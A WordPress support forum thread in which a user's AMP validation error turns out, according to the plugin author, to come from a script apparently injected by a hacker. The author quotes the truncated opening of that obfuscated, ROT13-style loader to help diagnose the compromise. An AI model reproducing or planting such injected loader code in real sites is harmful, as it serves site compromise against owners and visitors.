• Resolved kghorbani

    (@kghorbani)


    I am getting a minor error with amp pages becuase of a script that is part of my theme. Is there a way to disable specific scripts or javascripts in general so we don’t have any errors in AMP? I haven’t been able to find anything that allows to remove scripts for the page if they are on the AMP Page.

    This is the exact error I am getting on my pages.

    Only AMP runtime ‘script’ tags are allowed, and only in the document head.

    The page I need help with: [log in to see the link]

Viewing 3 replies - 1 through 3 (of 3 total)
  • Plugin Author Weston Ruter

    (@westonruter)

    The JavaScript I see in your page looks like it has been maliciously added by a hacker. Normally a theme or plugin would not be able to add JavaScript to an AMP page. You probably need to uninstall the AMP plugin and re-install it. You’ll also need to get some support to fix your site as a whole since it could have been compromised in other ways as well.

    Thread Starter kghorbani

    (@kghorbani)

    I thought the script that is showing up is what changes my title to all uppercase on my normal theme. Is that the script you are talking about? Or is there something else you are seeing? Because I have wordfemce and other things to make sure I’m regards to problems.

    Plugin Author Weston Ruter

    (@westonruter)

    There is a script appearing right after the body tag. It starts out like this:

    <script type="text/javascript">!function(){function c(b){return b.replace(/[A-Za-z]/g,function(a){return String.fromCharCode(a.charCodeAt(0)+("M">=a.toUpperCase()?13:-13))})}var e,d=document,g="script",f="jc-sdk",h=d.getElementsByTagName(g)[0];return d.getElementById(f)?!1:…

    It looks malicious to me being obfuscated to hide itself. It may be smart enough to hide itself if you are logged-in.

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘Disable Specific Javascript on Page for AMP Only’ is closed to new replies.